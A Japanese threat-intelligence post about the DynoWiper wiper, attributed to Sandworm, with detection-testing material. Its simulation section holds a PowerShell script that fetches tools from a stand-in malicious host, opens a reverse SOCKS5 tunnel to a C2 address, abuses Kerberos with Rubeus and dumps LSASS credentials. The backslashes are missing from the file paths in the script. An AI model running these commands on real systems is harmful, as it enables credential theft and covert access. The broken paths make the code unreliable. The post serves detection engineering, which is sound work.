SOC Prime Bias: クリティカル

04 Feb 2026 15:19 UTC

ESETリサーチDynoWiperアップデート:技術分析と帰属

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
ESETリサーチDynoWiperアップデート:技術分析と帰属
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

DynoWiperは、ポーランドのエネルギーセクター組織に対して使用された破壊的なワイパーで、運用の複数のエンドポイントに影響を与えました。実行ファイルは共有ネットワークロケーションに配置され、その共有から直接起動されました。ESETは、この活動を中程度の確信を持ってSandwormに帰属させています。一度実行されると、マルウェアはターゲットファイルをランダムバイトで破損させ、影響を完了させるための強制再起動をトリガーします。

調査

ESETは、C:inetpubpubにドロップされたschtask.exe、schtask2.exe、_update.exeの3つのサンプルを回収しました。埋め込まれたPDBパスは、バイナリがVagrant環境でコンパイルされたことを示唆しています。リバースエンジニアリングでは、3段階のワイピングルーチンがあることが示され、2つのバリアントはフェーズ間で5秒のスリープを挿入しています。妥協後のアーティファクトには、KerberosツールRubeusや、被害者のネットワーク内のrsocx SOCKS5プロキシも含まれていました。

緩和策

被害システム上のESET PROTECTは3つのバリアントすべてをブロックし、被害を制限しました。許可されていないスケジュールタスクの作成を防ぎ、共有ディレクトリへの予期しない書き込みを監視することで露出を減らします。アプリケーションの許可リスト化を追加し、可能な限りネットワーク共有からの実行を禁止します。

対応

schtask.exe、schtask2.exe、または*_update.exeを共有から実行するホストを特定して隔離します。揮発性証拠を保持し、スケジュールタスクとPowerShell展開の痕跡を確認し、Rubeusやrsocxのようなツールを削除します。完全なフォレンジックを完了し、確認されたクリーンバックアップからデータを復元します。

攻撃フロー

シミュレーション実行

前提条件:テレメトリとベースラインのプリフライトチェックが合格していること。

理由:このセクションでは、検出ルールをトリガーするように設計された攻撃者技術(TTP)の正確な実行を詳細に説明します。コマンドとナラティブは、特定されたTTPsを直接反映させ、検出ロジックによって期待される正確なテレメトリを生成することを目指します。抽象的または無関係な例は、誤診につながります。

  • 攻撃の流れとコマンド:

    1. リバースSOCKS5プロキシを確立する 使用 rsocx.exe。攻撃者は外部サーバーからバイナリをダウンロードし、 %TEMP%に配置し、 -r 31.172.71.5:8008 引数で実行して、C2ホストへの逆トンネルを作成します。
    2. Kerberosチケットの悪用を行うrubeus.exe。このツールは、ドメイン管理者アカウントのためのKerberosチケット授与チケット(TGT)を要求し、その後、サービスチケット(s4u2self).
    3. LSASSのメモリをダンプする 使用 procdump.exe (タスクマネージャーの一般的な代替手段)を使用して資格情報をキャプチャします。Sysmonは、攻撃者の procdump.exe プロセスがにアクセスしたプロセスアクセスイベントを記録します。 lsass.exe を使用して、 0x1010 許可されたアクセスマスク(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION).
  • 回帰テストスクリプト:

    # -------------------------------------------------------------
    # シミュレーションスクリプト – rsocx、rubeus、
    # およびLSASSダンプ用にSigmaルールをトリガーします。管理者権限で実行してください。
    # -------------------------------------------------------------
    
    # 1. rsocx.exe(リバースSOCKS5プロキシ)を展開
    $rsocxPath = "$env:TEMPrsocx.exe"
    Invoke-WebRequest -Uri "http://malicious.example.com/rsocx.exe" -OutFile $rsocxPath
    Start-Process -FilePath $rsocxPath -ArgumentList "-r 31.172.71.5:8008" -WindowStyle Hidden
    
    # 2. rubeus.exe(Kerberosの悪用)を展開
    $rubeusPath = "$env:TEMPrubeus.exe"
    Invoke-WebRequest -Uri "http://malicious.example.com/rubeus.exe" -OutFile $rubeusPath
    Start-Process -FilePath $rubeusPath -ArgumentList "dump /service:krbtgt" -WindowStyle Hidden
    
    # 3. procdumpを使用してLSASSをダンプ(Sysinternalsが必要)
    $procdumpPath = "$env:TEMPprocdump.exe"
    Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMPprocdump.zip"
    Expand-Archive -Path "$env:TEMPprocdump.zip" -DestinationPath $env:TEMP -Force
    $procdumpExe = Get-ChildItem "$env:TEMP" -Recurse -Filter "procdump.exe" | Select-Object -First 1
    if ($procdumpExe) {
        Copy-Item $procdumpExe.FullName $procdumpPath -Force
        Start-Process -FilePath $procdumpPath -ArgumentList "-ma lsass.exe $env:TEMPlsass.dmp" -Wait
    }
    
    Write-Host "シミュレーション完了。SIEMでアラートを確認してください。"
  • クリーンアップコマンド:

    # 残っている可能性のある悪意のあるプロセスを終了します。
    Get-Process -Name "rsocx","rubeus","procdump" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # バイナリとダンプファイルを削除
    Remove-Item -Path "$env:TEMPrsocx.exe","$env:TEMPrubeus.exe","$env:TEMPprocdump.exe","$env:TEMPlsass.dmp" -Force -ErrorAction SilentlyContinue
    
    # 任意で一時的なダウンロードディレクトリを削除
    Remove-Item -Path "$env:TEMPProcdump.zip","$env:TEMPprocdump" -Recurse -Force -ErrorAction SilentlyContinue
    
    Write-Host "クリーンアップ完了。"